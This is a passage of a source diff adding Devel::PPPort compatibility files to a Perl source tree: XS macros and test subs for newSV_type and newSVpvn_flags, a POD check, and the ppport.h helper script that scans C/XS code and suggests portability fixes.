+ sv = newSViv(42);
+ rv = newRV_noinc(sv);
+ RETVAL = SvREFCNT(sv);
+ sv_2mortal(rv);
+ OUTPUT:
+ RETVAL
+
+=tests plan => 2
+
+ok(&Devel::PPPort::newRV_inc_REFCNT, 1);
+ok(&Devel::PPPort::newRV_noinc_REFCNT, 1);
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/newSV_type b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/newSV_type
new file mode 100644
index 00000000000..039f8010bb5
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/newSV_type
@@ -0,0 +1,79 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+newSV_type
+
+=implementation
+
+#ifndef newSV_type
+
+#if { NEED newSV_type }
+
+SV*
+newSV_type(pTHX_ svtype const t)
+{
+ SV* const sv = newSV(0);
+ sv_upgrade(sv, t);
+ return sv;
+}
+
+#endif
+
+#endif
+
+=xsinit
+
+#define NEED_newSV_type
+
+=xsubs
+
+int
+newSV_type()
+ PREINIT:
+ SV* sv;
+ CODE:
+ RETVAL = 0;
+ sv = newSV_type(SVt_NULL);
+ if (SvTYPE(sv) == SVt_NULL)
+ {
+ RETVAL++;
+ }
+ SvREFCNT_dec(sv);
+
+ sv = newSV_type(SVt_PVIV);
+ if (SvTYPE(sv) == SVt_PVIV)
+ {
+ RETVAL++;
+ }
+ SvREFCNT_dec(sv);
+
+ sv = newSV_type(SVt_PVHV);
+ if (SvTYPE(sv) == SVt_PVHV)
+ {
+ RETVAL++;
+ }
+ SvREFCNT_dec(sv);
+
+ sv = newSV_type(SVt_PVAV);
+ if (SvTYPE(sv) == SVt_PVAV)
+ {
+ RETVAL++;
+ }
+ SvREFCNT_dec(sv);
+ OUTPUT:
+ RETVAL
+
+
+=tests plan => 1
+
+ok(Devel::PPPort::newSV_type(), 4);
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/newSVpv b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/newSVpv
new file mode 100644
index 00000000000..513461e5141
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/newSVpv
@@ -0,0 +1,109 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+__UNDEFINED__
+newSVpvn_flags
+
+=implementation
+
+#if { VERSION < 5.6.0 }
+# define D_PPP_CONSTPV_ARG(x) ((char *) (x))
+#else
+# define D_PPP_CONSTPV_ARG(x) (x)
+#endif
+
+__UNDEFINED__ newSVpvn(data,len) ((data) \
+ ? ((len) ? newSVpv((data), (len)) : newSVpv("", 0)) \
+ : newSV(0))
+
+__UNDEFINED__ newSVpvn_utf8(s, len, u) newSVpvn_flags((s), (len), (u) ? SVf_UTF8 : 0)
+
+__UNDEFINED__ SVf_UTF8 0
+
+#ifndef newSVpvn_flags
+
+#if { NEED newSVpvn_flags }
+
+SV *
+newSVpvn_flags(pTHX_ const char *s, STRLEN len, U32 flags)
+{
+ SV *sv = newSVpvn(D_PPP_CONSTPV_ARG(s), len);
+ SvFLAGS(sv) |= (flags & SVf_UTF8);
+ return (flags & SVs_TEMP) ? sv_2mortal(sv) : sv;
+}
+
+#endif
+
+#endif
+
+=xsinit
+
+#define NEED_newSVpvn_flags
+
+=xsubs
+
+void
+newSVpvn()
+ PPCODE:
+ mXPUSHs(newSVpvn("test", 4));
+ mXPUSHs(newSVpvn("test", 2));
+ mXPUSHs(newSVpvn("test", 0));
+ mXPUSHs(newSVpvn(NULL, 2));
+ mXPUSHs(newSVpvn(NULL, 0));
+ XSRETURN(5);
+
+void
+newSVpvn_flags()
+ PPCODE:
+ XPUSHs(newSVpvn_flags("test", 4, SVs_TEMP));
+ XPUSHs(newSVpvn_flags("test", 2, SVs_TEMP));
+ XPUSHs(newSVpvn_flags("test", 0, SVs_TEMP));
+ XPUSHs(newSVpvn_flags(NULL, 2, SVs_TEMP));
+ XPUSHs(newSVpvn_flags(NULL, 0, SVs_TEMP));
+ XSRETURN(5);
+
+void
+newSVpvn_utf8()
+ PPCODE:
+ XPUSHs(newSVpvn_flags("test", 4, SVs_TEMP|SVf_UTF8));
+ XSRETURN(1);
+
+=tests plan => 15
+
+my @s = &Devel::PPPort::newSVpvn();
+ok(@s == 5);
+ok($s[0], "test");
+ok($s[1], "te");
+ok($s[2], "");
+ok(!defined($s[3]));
+ok(!defined($s[4]));
+
+@s = &Devel::PPPort::newSVpvn_flags();
+ok(@s == 5);
+ok($s[0], "test");
+ok($s[1], "te");
+ok($s[2], "");
+ok(!defined($s[3]));
+ok(!defined($s[4]));
+
+@s = &Devel::PPPort::newSVpvn_utf8();
+ok(@s == 1);
+ok($s[0], "test");
+
+if ($] >= 5.008001) {
+ require utf8;
+ ok(utf8::is_utf8($s[0]));
+}
+else {
+ skip("skip: no is_utf8()", 0);
+}
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/podtest b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/podtest
new file mode 100644
index 00000000000..d7255b916f1
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/podtest
@@ -0,0 +1,45 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=tests plan => 0
+
+my @pods = qw( HACKERS PPPort.pm ppport.h soak devel/regenerate devel/buildperl.pl );
+
+my $reason = '';
+
+if ($ENV{'SKIP_SLOW_TESTS'}) {
+ $reason = 'SKIP_SLOW_TESTS';
+}
+else {
+ # Try loading Test::Pod
+ eval q{
+ use Test::Pod;
+ $Test::Pod::VERSION >= 0.95
+ or die "Test::Pod version only $Test::Pod::VERSION";
+ import Test::Pod tests => scalar @pods;
+ };
+ $reason = 'Test::Pod >= 0.95 required' if $@;
+}
+
+if ($reason) {
+ load();
+ plan(tests => scalar @pods);
+}
+
+for (@pods) {
+ print "# checking $_\n";
+ if ($reason) {
+ skip("skip: $reason", 0);
+ }
+ else {
+ pod_file_ok($_);
+ }
+}
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/ppphbin b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/ppphbin
new file mode 100644
index 00000000000..82ebdccb338
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/ppphbin
@@ -0,0 +1,822 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+=implementation
+
+use strict;
+
+# Disable broken TRIE-optimization
+BEGIN { eval '${^RE_TRIE_MAXBUF} = -1' if $] >= 5.009004 && $] <= 5.009005 }
+
+my $VERSION = __VERSION__;
+
+my %opt = (
+ quiet => 0,
+ diag => 1,
+ hints => 1,
+ changes => 1,
+ cplusplus => 0,
+ filter => 1,
+ strip => 0,
+ version => 0,
+);
+
+my($ppport) = $0 =~ /([\w.]+)$/;
+my $LF = '(?:\r\n|[\r\n])'; # line feed
+my $HS = "[ \t]"; # horizontal whitespace
+
+# Never use C comments in this file!
+my $ccs = '/'.'*';
+my $cce = '*'.'/';
+my $rccs = quotemeta $ccs;
+my $rcce = quotemeta $cce;
+
+eval {
+ require Getopt::Long;
+ Getopt::Long::GetOptions(\%opt, qw(
+ help quiet diag! filter! hints! changes! cplusplus strip version
+ patch=s copy=s diff=s compat-version=s
+ list-provided list-unsupported api-info=s
+ )) or usage();
+};
+
+if ($@ and grep /^-/, @ARGV) {
+ usage() if "@ARGV" =~ /^--?h(?:elp)?$/;
+ die "Getopt::Long not found. Please don't use any options.\n";
+}
+
+if ($opt{version}) {
+ print "This is $0 $VERSION.\n";
+ exit 0;
+}
+
+usage() if $opt{help};
+strip() if $opt{strip};
+
+if (exists $opt{'compat-version'}) {
+ my($r,$v,$s) = eval { parse_version($opt{'compat-version'}) };
+ if ($@) {
+ die "Invalid version number format: '$opt{'compat-version'}'\n";
+ }
+ die "Only Perl 5 is supported\n" if $r != 5;
+ die "Invalid version number: $opt{'compat-version'}\n" if $v >= 1000 || $s >= 1000;
+ $opt{'compat-version'} = sprintf "%d.%03d%03d", $r, $v, $s;
+}
+else {
+ $opt{'compat-version'} = 5;
+}
+
+my %API = map { /^(\w+)\|([^|]*)\|([^|]*)\|(\w*)$/
+ ? ( $1 => {
+ ($2 ? ( base => $2 ) : ()),
+ ($3 ? ( todo => $3 ) : ()),
+ (index($4, 'v') >= 0 ? ( varargs => 1 ) : ()),
+ (index($4, 'p') >= 0 ? ( provided => 1 ) : ()),
+ (index($4, 'n') >= 0 ? ( nothxarg => 1 ) : ()),
+ } )
+ : die "invalid spec: $_" } qw(
+__PERL_API__
+);
+
+if (exists $opt{'list-unsupported'}) {
+ my $f;
+ for $f (sort { lc $a cmp lc $b } keys %API) {
+ next unless $API{$f}{todo};
+ print "$f ", '.'x(40-length($f)), " ", format_version($API{$f}{todo}), "\n";
+ }
+ exit 0;
+}
+
+# Scan for possible replacement candidates
+
+my(%replace, %need, %hints, %warnings, %depends);
+my $replace = 0;
+my($hint, $define, $function);
+
+sub find_api
+{
+ my $code = shift;
+ $code =~ s{
+ / (?: \*[^*]*\*+(?:[^$ccs][^*]*\*+)* / | /[^\r\n]*)
+ | "[^"\\]*(?:\\.[^"\\]*)*"
+ | '[^'\\]*(?:\\.[^'\\]*)*' }{}egsx;
+ grep { exists $API{$_} } $code =~ /(\w+)/mg;
+}
+
+while (<DATA>) {
+ if ($hint) {
+ my $h = $hint->[0] eq 'Hint' ? \%hints : \%warnings;
+ if (m{^\s*\*\s(.*?)\s*$}) {
+ for (@{$hint->[1]}) {
+ $h->{$_} ||= ''; # suppress warning with older perls
+ $h->{$_} .= "$1\n";
+ }
+ }
+ else { undef $hint }
+ }
+
+ $hint = [$1, [split /,?\s+/, $2]]
+ if m{^\s*$rccs\s+(Hint|Warning):\s+(\w+(?:,?\s+\w+)*)\s*$};
+
+ if ($define) {
+ if ($define->[1] =~ /\\$/) {
+ $define->[1] .= $_;
+ }
+ else {
+ if (exists $API{$define->[0]} && $define->[1] !~ /^DPPP_\(/) {
+ my @n = find_api($define->[1]);
+ push @{$depends{$define->[0]}}, @n if @n
+ }
+ undef $define;
+ }
+ }
+
+ $define = [$1, $2] if m{^\s*#\s*define\s+(\w+)(?:\([^)]*\))?\s+(.*)};
+
+ if ($function) {
+ if (/^}/) {
+ if (exists $API{$function->[0]}) {
+ my @n = find_api($function->[1]);
+ push @{$depends{$function->[0]}}, @n if @n
+ }
+ undef $function;
+ }
+ else {
+ $function->[1] .= $_;
+ }
+ }
+
+ $function = [$1, ''] if m{^DPPP_\(my_(\w+)\)};
+
+ $replace = $1 if m{^\s*$rccs\s+Replace:\s+(\d+)\s+$rcce\s*$};
+ $replace{$2} = $1 if $replace and m{^\s*#\s*define\s+(\w+)(?:\([^)]*\))?\s+(\w+)};
+ $replace{$2} = $1 if m{^\s*#\s*define\s+(\w+)(?:\([^)]*\))?\s+(\w+).*$rccs\s+Replace\s+$rcce};
+ $replace{$1} = $2 if m{^\s*$rccs\s+Replace (\w+) with (\w+)\s+$rcce\s*$};
+
+ if (m{^\s*$rccs\s+(\w+(\s*,\s*\w+)*)\s+depends\s+on\s+(\w+(\s*,\s*\w+)*)\s+$rcce\s*$}) {
+ my @deps = map { s/\s+//g; $_ } split /,/, $3;
+ my $d;
+ for $d (map { s/\s+//g; $_ } split /,/, $1) {
+ push @{$depends{$d}}, @deps;
+ }
+ }
+
+ $need{$1} = 1 if m{^#if\s+defined\(NEED_(\w+)(?:_GLOBAL)?\)};
+}
+
+for (values %depends) {
+ my %s;
+ $_ = [sort grep !$s{$_}++, @$_];
+}
+
+if (exists $opt{'api-info'}) {
+ my $f;
+ my $count = 0;
+ my $match = $opt{'api-info'} =~ m!^/(.*)/$! ? $1 : "^\Q$opt{'api-info'}\E\$";
+ for $f (sort { lc $a cmp lc $b } keys %API) {
+ next unless $f =~ /$match/;
+ print "\n=== $f ===\n\n";
+ my $info = 0;
+ if ($API{$f}{base} || $API{$f}{todo}) {
+ my $base = format_version($API{$f}{base} || $API{$f}{todo});
+ print "Supported at least starting from perl-$base.\n";
+ $info++;
+ }
+ if ($API{$f}{provided}) {
+ my $todo = $API{$f}{todo} ? format_version($API{$f}{todo}) : "__MIN_PERL__";
+ print "Support by $ppport provided back to perl-$todo.\n";
+ print "Support needs to be explicitly requested by NEED_$f.\n" if exists $need{$f};
+ print "Depends on: ", join(', ', @{$depends{$f}}), ".\n" if exists $depends{$f};
+ print "\n$hints{$f}" if exists $hints{$f};
+ print "\nWARNING:\n$warnings{$f}" if exists $warnings{$f};
+ $info++;
+ }
+ print "No portability information available.\n" unless $info;
+ $count++;
+ }
+ $count or print "Found no API matching '$opt{'api-info'}'.";
+ print "\n";
+ exit 0;
+}
+
+if (exists $opt{'list-provided'}) {
+ my $f;
+ for $f (sort { lc $a cmp lc $b } keys %API) {
+ next unless $API{$f}{provided};
+ my @flags;
+ push @flags, 'explicit' if exists $need{$f};
+ push @flags, 'depend' if exists $depends{$f};
+ push @flags, 'hint' if exists $hints{$f};
+ push @flags, 'warning' if exists $warnings{$f};
+ my $flags = @flags ? ' ['.join(', ', @flags).']' : '';
+ print "$f$flags\n";
+ }
+ exit 0;
+}
+
+my @files;
+my @srcext = qw( .xs .c .h .cc .cpp -c.inc -xs.inc );
+my $srcext = join '|', map { quotemeta $_ } @srcext;
+
+if (@ARGV) {
+ my %seen;
+ for (@ARGV) {
+ if (-e) {
+ if (-f) {
+ push @files, $_ unless $seen{$_}++;
+ }
+ else { warn "'$_' is not a file.\n" }
+ }
+ else {
+ my @new = grep { -f } glob $_
+ or warn "'$_' does not exist.\n";
+ push @files, grep { !$seen{$_}++ } @new;
+ }
+ }
+}
+else {
+ eval {
+ require File::Find;
+ File::Find::find(sub {
+ $File::Find::name =~ /($srcext)$/i
+ and push @files, $File::Find::name;
+ }, '.');
+ };
+ if ($@) {
+ @files = map { glob "*$_" } @srcext;
+ }
+}
+
+if (!@ARGV || $opt{filter}) {
+ my(@in, @out);
+ my %xsc = map { /(.*)\.xs$/ ? ("$1.c" => 1, "$1.cc" => 1) : () } @files;
+ for (@files) {
+ my $out = exists $xsc{$_} || /\b\Q$ppport\E$/i || !/($srcext)$/i;
+ push @{ $out ? \@out : \@in }, $_;
+ }
+ if (@ARGV && @out) {
+ warning("Skipping the following files (use --nofilter to avoid this):\n| ", join "\n| ", @out);
+ }
+ @files = @in;
+}
+
+die "No input files given!\n" unless @files;
+
+my(%files, %global, %revreplace);
+%revreplace = reverse %replace;
+my $filename;
+my $patch_opened = 0;
+
+for $filename (@files) {
+ unless (open IN, "<$filename") {
+ warn "Unable to read from $filename: $!\n";
+ next;
+ }
+
+ info("Scanning $filename ...");
+
+ my $c = do { local $/; <IN> };
+ close IN;
+
+ my %file = (orig => $c, changes => 0);
+
+ # Temporarily remove C/XS comments and strings from the code
+ my @ccom;
+
+ $c =~ s{
+ ( ^$HS*\#$HS*include\b[^\r\n]+\b(?:\Q$ppport\E|XSUB\.h)\b[^\r\n]*
+ | ^$HS*\#$HS*(?:define|elif|if(?:def)?)\b[^\r\n]* )
+ | ( ^$HS*\#[^\r\n]*
+ | "[^"\\]*(?:\\.[^"\\]*)*"
+ | '[^'\\]*(?:\\.[^'\\]*)*'
+ | / (?: \*[^*]*\*+(?:[^$ccs][^*]*\*+)* / | /[^\r\n]* ) )
+ }{ defined $2 and push @ccom, $2;
+ defined $1 ? $1 : "$ccs$#ccom$cce" }mgsex;
+
+ $file{ccom} = \@ccom;
+ $file{code} = $c;
+ $file{has_inc_ppport} = $c =~ /^$HS*#$HS*include[^\r\n]+\b\Q$ppport\E\b/m;
+
+ my $func;
+
+ for $func (keys %API) {
+ my $match = $func;
+ $match .= "|$revreplace{$func}" if exists $revreplace{$func};
+ if ($c =~ /\b(?:Perl_)?($match)\b/) {
+ $file{uses_replace}{$1}++ if exists $revreplace{$func} && $1 eq $revreplace{$func};
+ $file{uses_Perl}{$func}++ if $c =~ /\bPerl_$func\b/;
+ if (exists $API{$func}{provided}) {
+ $file{uses_provided}{$func}++;
+ if (!exists $API{$func}{base} || $API{$func}{base} > $opt{'compat-version'}) {
+ $file{uses}{$func}++;
+ my @deps = rec_depend($func);
+ if (@deps) {
+ $file{uses_deps}{$func} = \@deps;
+ for (@deps) {
+ $file{uses}{$_} = 0 unless exists $file{uses}{$_};
+ }
+ }
+ for ($func, @deps) {
+ $file{needs}{$_} = 'static' if exists $need{$_};
+ }
+ }
+ }
+ if (exists $API{$func}{todo} && $API{$func}{todo} > $opt{'compat-version'}) {
+ if ($c =~ /\b$func\b/) {
+ $file{uses_todo}{$func}++;
+ }
+ }
+ }
+ }
+
+ while ($c =~ /^$HS*#$HS*define$HS+(NEED_(\w+?)(_GLOBAL)?)\b/mg) {
+ if (exists $need{$2}) {
+ $file{defined $3 ? 'needed_global' : 'needed_static'}{$2}++;
+ }
+ else { warning("Possibly wrong #define $1 in $filename") }
+ }
+
+ for (qw(uses needs uses_todo needed_global needed_static)) {
+ for $func (keys %{$file{$_}}) {
+ push @{$global{$_}{$func}}, $filename;
+ }
+ }
+
+ $files{$filename} = \%file;
+}
+
+# Globally resolve NEED_'s
+my $need;
+for $need (keys %{$global{needs}}) {
+ if (@{$global{needs}{$need}} > 1) {
+ my @targets = @{$global{needs}{$need}};
+ my @t = grep $files{$_}{needed_global}{$need}, @targets;
+ @targets = @t if @t;
+ @t = grep /\.xs$/i, @targets;
+ @targets = @t if @t;
+ my $target = shift @targets;
+ $files{$target}{needs}{$need} = 'global';
+ for (@{$global{needs}{$need}}) {
+ $files{$_}{needs}{$need} = 'extern' if $_ ne $target;
+ }
+ }
+}
+
+for $filename (@files) {
+ exists $files{$filename} or next;
+
+ info("=== Analyzing $filename ===");
+
+ my %file = %{$files{$filename}};
+ my $func;
+ my $c = $file{code};
+ my $warnings = 0;
+
+ for $func (sort keys %{$file{uses_Perl}}) {
+ if ($API{$func}{varargs}) {
+ unless ($API{$func}{nothxarg}) {
+ my $changes = ($c =~ s{\b(Perl_$func\s*\(\s*)(?!aTHX_?)(\)|[^\s)]*\))}
+ { $1 . ($2 eq ')' ? 'aTHX' : 'aTHX_ ') . $2 }ge);
+ if ($changes) {
+ warning("Doesn't pass interpreter argument aTHX to Perl_$func");
+ $file{changes} += $changes;
+ }
+ }
+ }
+ else {
+ warning("Uses Perl_$func instead of $func");
+ $file{changes} += ($c =~ s{\bPerl_$func(\s*)\((\s*aTHX_?)?\s*}
+ {$func$1(}g);
+ }
+ }
+
+ for $func (sort keys %{$file{uses_replace}}) {
+ warning("Uses $func instead of $replace{$func}");
+ $file{changes} += ($c =~ s/\b$func\b/$replace{$func}/g);
+ }
+
+ for $func (sort keys %{$file{uses_provided}}) {
+ if ($file{uses}{$func}) {
+ if (exists $file{uses_deps}{$func}) {
+ diag("Uses $func, which depends on ", join(', ', @{$file{uses_deps}{$func}}));
+ }
+ else {
+ diag("Uses $func");
+ }
+ }
+ $warnings += hint($func);
+ }
+
+ unless ($opt{quiet}) {
+ for $func (sort keys %{$file{uses_todo}}) {
+ print "*** WARNING: Uses $func, which may not be portable below perl ",
+ format_version($API{$func}{todo}), ", even with '$ppport'\n";
+ $warnings++;
+ }
+ }
+
+ for $func (sort keys %{$file{needed_static}}) {
+ my $message = '';
+ if (not exists $file{uses}{$func}) {
+ $message = "No need to define NEED_$func if $func is never used";
+ }
+ elsif (exists $file{needs}{$func} && $file{needs}{$func} ne 'static') {
+ $message = "No need to define NEED_$func when already needed globally";
+ }
+ if ($message) {
+ diag($message);
+ $file{changes} += ($c =~ s/^$HS*#$HS*define$HS+NEED_$func\b.*$LF//mg);
+ }
+ }
+
+ for $func (sort keys %{$file{needed_global}}) {
+ my $message = '';
+ if (not exists $global{uses}{$func}) {
+ $message = "No need to define NEED_${func}_GLOBAL if $func is never used";
+ }
+ elsif (exists $file{needs}{$func}) {
+ if ($file{needs}{$func} eq 'extern') {
+ $message = "No need to define NEED_${func}_GLOBAL when already needed globally";
+ }
+ elsif ($file{needs}{$func} eq 'static') {
+ $message = "No need to define NEED_${func}_GLOBAL when only used in this file";
+ }
+ }
+ if ($message) {
+ diag($message);
+ $file{changes} += ($c =~ s/^$HS*#$HS*define$HS+NEED_${func}_GLOBAL\b.*$LF//mg);
+ }
+ }
+
+ $file{needs_inc_ppport} = keys %{$file{uses}};
+
+ if ($file{needs_inc_ppport}) {
+ my $pp = '';
+
+ for $func (sort keys %{$file{needs}}) {
+ my $type = $file{needs}{$func};
+ next if $type eq 'extern';
+ my $suffix = $type eq 'global' ? '_GLOBAL' : '';
+ unless (exists $file{"needed_$type"}{$func}) {
+ if ($type eq 'global') {
+ diag("Files [@{$global{needs}{$func}}] need $func, adding global request");
+ }
+ else {
+ diag("File needs $func, adding static request");
+ }
+ $pp .= "#define NEED_$func$suffix\n";
+ }
+ }
+
+ if ($pp && ($c =~ s/^(?=$HS*#$HS*define$HS+NEED_\w+)/$pp/m)) {
+ $pp = '';
+ $file{changes}++;
+ }
+
+ unless ($file{has_inc_ppport}) {
+ diag("Needs to include '$ppport'");
+ $pp .= qq(#include "$ppport"\n)
+ }
+
+ if ($pp) {
+ $file{changes} += ($c =~ s/^($HS*#$HS*define$HS+NEED_\w+.*?)^/$1$pp/ms)
+ || ($c =~ s/^(?=$HS*#$HS*include.*\Q$ppport\E)/$pp/m)
+ || ($c =~ s/^($HS*#$HS*include.*XSUB.*\s*?)^/$1$pp/m)
+ || ($c =~ s/^/$pp/);
+ }
+ }
+ else {
+ if ($file{has_inc_ppport}) {
+ diag("No need to include '$ppport'");
+ $file{changes} += ($c =~ s/^$HS*?#$HS*include.*\Q$ppport\E.*?$LF//m);
+ }
+ }
+
+ # put back in our C comments
+ my $ix;
+ my $cppc = 0;
+ my @ccom = @{$file{ccom}};
+ for $ix (0 .. $#ccom) {
+ if (!$opt{cplusplus} && $ccom[$ix] =~ s!^//!!) {
+ $cppc++;
+ $file{changes} += $c =~ s/$rccs$ix$rcce/$ccs$ccom[$ix] $cce/;
+ }
+ else {
+ $c =~ s/$rccs$ix$rcce/$ccom[$ix]/;
+ }
+ }
+
+ if ($cppc) {
+ my $s = $cppc != 1 ? 's' : '';
+ warning("Uses $cppc C++ style comment$s, which is not portable");
+ }
+
+ my $s = $warnings != 1 ? 's' : '';
+ my $warn = $warnings ? " ($warnings warning$s)" : '';
+ info("Analysis completed$warn");
+
+ if ($file{changes}) {
+ if (exists $opt{copy}) {
+ my $newfile = "$filename$opt{copy}";
+ if (-e $newfile) {
+ error("'$newfile' already exists, refusing to write copy of '$filename'");
+ }
+ else {
+ local *F;
+ if (open F, ">$newfile") {
+ info("Writing copy of '$filename' with changes to '$newfile'");
+ print F $c;
+ close F;
+ }
+ else {
+ error("Cannot open '$newfile' for writing: $!");
+ }
+ }
+ }
+ elsif (exists $opt{patch} || $opt{changes}) {
+ if (exists $opt{patch}) {
+ unless ($patch_opened) {
+ if (open PATCH, ">$opt{patch}") {
+ $patch_opened = 1;
+ }
+ else {
+ error("Cannot open '$opt{patch}' for writing: $!");
+ delete $opt{patch};
+ $opt{changes} = 1;
+ goto fallback;
+ }
+ }
+ mydiff(\*PATCH, $filename, $c);
+ }
+ else {
+fallback:
+ info("Suggested changes:");
+ mydiff(\*STDOUT, $filename, $c);
+ }
+ }
+ else {
+ my $s = $file{changes} == 1 ? '' : 's';
+ info("$file{changes} potentially required change$s detected");
+ }
+ }
+ else {
+ info("Looks good");
+ }
+}
+
+close PATCH if $patch_opened;
+
+exit 0;
+
+#######################################################################
+
+sub try_use { eval "use @_;"; return $@ eq '' }
+
+sub mydiff
+{
+ local *F = shift;
+ my($file, $str) = @_;
+ my $diff;
+
+ if (exists $opt{diff}) {
+ $diff = run_diff($opt{diff}, $file, $str);
+ }
+
+ if (!defined $diff and try_use('Text::Diff')) {
+ $diff = Text::Diff::diff($file, \$str, { STYLE => 'Unified' });
+ $diff = <<HEADER . $diff;
+--- $file
++++ $file.patched
+HEADER
+ }
+
+ if (!defined $diff) {
+ $diff = run_diff('diff -u', $file, $str);
+ }
+
+ if (!defined $diff) {
+ $diff = run_diff('diff', $file, $str);
+ }
+
+ if (!defined $diff) {
+ error("Cannot generate a diff. Please install Text::Diff or use --copy.");
+ return;
+ }
+
+ print F $diff;
+}
+
+sub run_diff
+{
+ my($prog, $file, $str) = @_;
+ my $tmp = 'dppptemp';
+ my $suf = 'aaa';
+ my $diff = '';
+ local *F;
+
+ while (-e "$tmp.$suf") { $suf++ }
+ $tmp = "$tmp.$suf";
+
+ if (open F, ">$tmp") {
+ print F $str;
+ close F;
+
+ if (open F, "$prog $file $tmp |") {
+ while (<F>) {
+ s/\Q$tmp\E/$file.patched/;
+ $diff .= $_;
+ }
+ close F;
+ unlink $tmp;
+ return $diff;
+ }
+
+ unlink $tmp;
+ }
+ else {
+ error("Cannot open '$tmp' for writing: $!");
+ }
+
+ return undef;
+}
+
+sub rec_depend
+{
+ my($func, $seen) = @_;
+ return () unless exists $depends{$func};
+ $seen = {%{$seen||{}}};
+ return () if $seen->{$func}++;
+ my %s;
+ grep !$s{$_}++, map { ($_, rec_depend($_, $seen)) } @{$depends{$func}};
+}
+
+sub parse_version
+{
+ my $ver = shift;
+
+ if ($ver =~ /^(\d+)\.(\d+)\.(\d+)$/) {
+ return ($1, $2, $3);
+ }
+ elsif ($ver !~ /^\d+\.[\d_]+$/) {
+ die "cannot parse version '$ver'\n";
+ }
+
+ $ver =~ s/_//g;
+ $ver =~ s/$/000000/;
+
+ my($r,$v,$s) = $ver =~ /(\d+)\.(\d{3})(\d{3})/;
+
+ $v = int $v;
+ $s = int $s;
+
+ if ($r < 5 || ($r == 5 && $v < 6)) {
+ if ($s % 10) {
+ die "cannot parse version '$ver'\n";
+ }
+ }
+
+ return ($r, $v, $s);
+}
+
+sub format_version
+{
+ my $ver = shift;
+
+ $ver =~ s/$/000000/;
+ my($r,$v,$s) = $ver =~ /(\d+)\.(\d{3})(\d{3})/;
+
+ $v = int $v;
+ $s = int $s;
+
+ if ($r < 5 || ($r == 5 && $v < 6)) {
+ if ($s % 10) {
+ die "invalid version '$ver'\n";
+ }
+ $s /= 10;
+
+ $ver = sprintf "%d.%03d", $r, $v;
+ $s > 0 and $ver .= sprintf "_%02d", $s;
+
+ return $ver;
+ }
+
+ return sprintf "%d.%d.%d", $r, $v, $s;
+}
+
+sub info
+{
+ $opt{quiet} and return;
+ print @_, "\n";
+}
+
+sub diag
+{
+ $opt{quiet} and return;
+ $opt{diag} and print @_, "\n";
+}
+
+sub warning
+{
+ $opt{quiet} and return;
+ print "*** ", @_, "\n";
+}
+
+sub error
+{
+ print "*** ERROR: ", @_, "\n";
+}
+
+my %given_hints;
+my %given_warnings;
+sub hint
+{
+ $opt{quiet} and return;
+ my $func = shift;
+ my $rv = 0;
+ if (exists $warnings{$func} && !$given_warnings{$func}++) {
+ my $warn = $warnings{$func};
+ $warn =~ s!^!*** !mg;
+ print "*** WARNING: $func\n", $warn;
+ $rv++;
+ }
+ if ($opt{hints} && exists $hints{$func} && !$given_hints{$func}++) {
+ my $hint = $hints{$func};
+ $hint =~ s/^/ /mg;
+ print " --- hint for $func ---\n", $hint;
+ }
+ $rv;
+}
+
+sub usage
+{
+ my($usage) = do { local(@ARGV,$/)=($0); <> } =~ /^=head\d$HS+SYNOPSIS\s*^(.*?)\s*^=/ms;
+ my %M = ( 'I' => '*' );
+ $usage =~ s/^\s*perl\s+\S+/$^X $0/;
+ $usage =~ s/([A-Z])<([^>]+)>/$M{$1}$2$M{$1}/g;
+
+ print <<ENDUSAGE;
+
+Usage: $usage
+
+See perldoc $0 for details.
+
+ENDUSAGE
+
+ exit 2;
+}
+
+sub strip
+{
+ my $self = do { local(@ARGV,$/)=($0); <> };
+ my($copy) = $self =~ /^=head\d\s+COPYRIGHT\s*^(.*?)^=\w+/ms;
+ $copy =~ s/^(?=\S+)/ /gms;
+ $self =~ s/^$HS+Do NOT edit.*?(?=^-)/$copy/ms;
+ $self =~ s/^SKIP.*(?=^__DATA__)/SKIP
+if (\@ARGV && \$ARGV[0] eq '--unstrip') {
+ eval { require Devel::PPPort };
+ \$@ and die "Cannot require Devel::PPPort, please install.\\n";
+ if (eval \$Devel::PPPort::VERSION < $VERSION) {
+ die "$0 was originally generated with Devel::PPPort $VERSION.\\n"
+ . "Your Devel::PPPort is only version \$Devel::PPPort::VERSION.\\n"
+ . "Please install a newer version, or --unstrip will not work.\\n";
+ }
+ Devel::PPPort::WriteFile(\$0);
+ exit 0;
+}
+print <<END;
+
+Sorry, but this is a stripped version of \$0.
+
+To be able to use its original script and doc functionality,
+please try to regenerate this file using:
+
